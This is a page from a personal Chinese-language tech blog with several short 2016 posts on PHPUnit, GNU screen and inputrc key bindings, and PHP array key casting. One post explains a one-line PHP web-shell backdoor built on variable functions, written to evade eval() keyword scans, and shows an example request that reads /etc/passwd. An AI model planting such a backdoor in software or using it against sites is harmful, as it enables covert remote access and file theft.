Skip to content

Zeroplex 生活隨筆

軟體開發、伺服器和生活瑣事

小 縮小字型大小。 中 重設字型大小。 大 放大字型大小。

Helper for PHPUnit path detection in bash

Posted on 2016 年 7 月 15 日2021 年 3 月 12 日 By 日落 在〈Helper for PHPUnit path detection in bash〉中有 1 則留言

較新的 PHP 專案都會在 composer require_dev 自帶 phpunit,這個時候要執行 phpunit 都應該要使用專案中設定的 phpunit 版本:

$ cd /path/to/repository
$ vendor/bin/phpunit

若該專案沒有設定 phpunit 時,才使用系統上,或是 composer global 的 phpunit:

$ cd /path/to/repository
$ ~/.composer/vendor/bin/phpunit  # or "phpunit" for system global

不過這實在有點麻煩,所以乾脆寫 script 處理掉:

phpunit() {
   REPO_PHPUNIT=`pwd`"/vendor/bin/phpunit"

   if [ -e $REPO_PHPUNIT ]; then
      echo "... Run by vendor/bin/phpunit ..."
      $REPO_PHPUNIT $*
   else
      ~/.composer/vendor/bin/phpunit  $*
   fi
}

這樣一來,只要執行 phpunit 就會自動去檢查專案底下是否有 phpunit 可以用;若沒有則自動使用系統的 phpunit。

Tags:Bash, PHPUnit

在 gnome-teminal 使用 Ctrl + arrow 切換 GNU screen 視窗

Posted on 2016 年 6 月 26 日2021 年 3 月 12 日 By 日落 在〈在 gnome-teminal 使用 Ctrl + arrow 切換 GNU screen 視窗〉中有 2 則留言

這邊標題應該下的不是很好,其實問題和 gnome-teminal 應該是沒什麼關係的。

在 windows 透過 pietty (快換 putty 吧) 連上 server 時,都是直接用 Ctrl + 左/右 來切換 windows, .screenrc 設定方式如下:

bindkey 33[C next
bindkey 33[D prev

不過當 client 是 Ubuntu 時,在 gnome-terminal 操作時,Ctrl + arraow 卻完全沒有效果。後來友人提示在 screen 底下可以先 ctrl + V,再按下 key binding,screen 會把收到的 key code 顯示出來,方便 debug。嘗試了不少種組合都沒有成功。

當 Google 第一頁搜尋結果無法找到方法時,只好往第二頁找屍體。慢慢看到有人提到需要修改 /etc/inputrc 的設定:

# allow the use of the Home/End keys
"e[1~": beginning-of-line
"e[4~": end-of-line

# allow the use of the Delete/Insert keys
"e[3~": delete-char
"e[2~": quoted-insert

....

# mappings for Ctrl-left-arrow and Ctrl-right-arrow for word moving
"e[1;5C": forward-word
"e[1;5D": backward-word
"e[5C": forward-word
"e[5D": backward-word
"ee[C": forward-word
"ee[D": backward-word

設定檔中間可以看到 Ctrl + arrow 已經被轉成 forward-word 等操作,把那幾行註解掉即可。

ps. 除了 ssh client 這邊的 inputrc 需要修改外,server side 若有 inputrc 也需要一起修改,不然 client 送過去的 key binding 還是會被 server 改掉。

Tags:Linux, Ubuntu, 資訊學習

PHP Notice in testing by PHPUnit

Posted on 2016 年 6 月 10 日2021 年 3 月 12 日 By 日落 在〈PHP Notice in testing by PHPUnit〉中尚無留言

這邊先做個錯誤示範,以下的程式執行時,會因為對一個不存在的 array index 取值:

class Worker
{
    public function work()
    {
        $arr = [];

        $elem = $arr['nonExist'];
    }
}

執行時會出現以下錯誤訊息:

PHP Notice:  Undefined index: nonExist in /home/zero/tmp/phpunit/Worker.php

PHPUnit 執行 unit test 時會自動將 notice / warning 都轉成 exception,使用者變可以透過「@expectedException」來檢查確認是否有發生預期的錯誤:

class WorkerTest extends PHPUnit_Framework_TestCase
{
    /**
     * @expectedException PHPUnit_Framework_Error_Notice
     */
    public function testWorker()
    {
        $worker = new Worker();
        $worker->work();
    }
}

unit test 執行結果:

zero@zero-lab:~/tmp/tests$ ./phpunit 
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.

.                                                                   1 / 1 (100%)

Time: 202 ms, Memory: 3.00MB


但是當 array 取值前後加上了 try … catch 時會發生什麼事呢?

class Worker
{
    public function work()
    {
        try {
            $arr = [];

            $elem = $arr['nonExist'];
        } catch (Exception $e) {
            // do something
        }
    }
}

再來執行一次 unit test:

zero@zero-lab:~/tmp/tests$ ./phpunit 
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.

F                                                                   1 / 1 (100%)

Time: 27 ms, Memory: 3.00MB

There was 1 failure:

1) WorkerTest::testWorker
Failed asserting that exception of type "PHPUnit_Framework_Error_Notice" is thrown.

phpunit 顯示錯誤訊息,原本預期會收到「PHPUnit_Framework_Error_Notice」但現在確沒有收到,造成 assertion failed。

這時若在 catch 中將「$e」dump 出來,會發現 PHPUnit_Framework_Error_Notice 被程式中的 try … catch 抓到了:

object(PHPUnit_Framework_Error_Notice)#20 (8) {
  ....
}

個人覺得這個行為不是非常直覺,在正常行況下,PHP notice 不會被 try … catch 抓到,而會正常執行下去,但當執行測試時,卻會因為 phpunit 將 notice / warning 自動轉成 exceptions 而導致程式的 work flow 與原先的設計不同,並造成測試時的警報。

目前還沒有想到什麼方法可以避開這個問題,若真要解決這個問題的話,最好的辦法,應該還是在實作時就避免出現 PHP notice 或 warning。

Tags:PHP, PHPUnit

不需要 PHP eval() 即可執行使用者自訂動作的寫法

Posted on 2016 年 5 月 22 日2021 年 3 月 12 日 By 日落 在〈不需要 PHP eval() 即可執行使用者自訂動作的寫法〉中尚無留言

以往 PHP 後門都用很簡單的語法去撰寫,例如:

echo eval($_GET['action']);

不過由於 eval() 這個寫法實在是太常見了,若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法,利用 PHP variable functions 的語法來製作後門:

echo $_GET['a']($_GET['b']);

惡意人士可以在網址上使用參數來取得需要的資訊:

http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....

上面這語法沒有使用到 PHP 內建的任何函式,在加上 GET 參數的名稱可以任意設定,用關鍵字搜尋的方法是很難抓出來的。

只能說想到這種寫法的人實在很有創意 XD

Tags:PHP, 資訊安全

PHP array key 的資料型態

Posted on 2016 年 5 月 22 日2021 年 3 月 12 日 By 日落 在〈PHP array key 的資料型態〉中尚無留言

之前因為 array_merge() 花了很久的時間 debug,這次發現其實不只 array_merge() 會需要注意資料型態的問題,其他 statement 也要注意。

這次遇到是因為使用 time 當作 array 的 key 時發現的:

$timeTable = [];
$timeTable['0800'] = '早上';
$timeTable['1200'] = '中午';
$timeTable['2000'] = '晚上';

取直時發現資料型態和 assign 時不一樣,可以被轉成數字的全部變成數字了:

array(3) {
  ["0800"]=>
  string(6) "早上"
  [1200]=>
  string(6) "中午"
  [2000]=>
  string(6) "晚上"
}

原因是 PHP array 的預設行為,是會自動對 key 作 type casting。可被判斷成數值的 (is_numeric()) 都會自動被轉為 int。所以撰寫時要注意,如果 array 的 key 若需要避免被 casting 時,必須手動加上一些字元讓 is_numeric() 無法將其判斷為數字。

以上面的例子,可以將時間加上「:」

  • 08:00
  • 12:00
  • 20:00

Ref:

  • PHP: Arrays – Example #2 Type Casting and Overwriting example
Tags:PHP

文章分頁

上一頁 1 ... 104 105 106 ... 318 下一頁

其他

關於我  (About me)

  文章 RSS Feed

  留言 RSS Feed

Apache AWS Bash C/C++ Docker FreeBSD GCP Git Google Java JavaScript Laravel Linux Microsoft MSSQL MySQL Nginx PHP PHPUnit PostgreSQL Python Qt Ubuntu Unix Vim Web Windows WordPress XD 作業系統 分享 好站推薦 專題 攝影 新奇搞笑 新聞 旅遊 生活雜記 程式設計 網路架站 網頁設計 資訊學習 資訊安全 遊戲 音樂


創用 CC 授權條款
本著作係採用創用 CC 姓名標示-相同方式分享 4.0 國際 授權條款授權.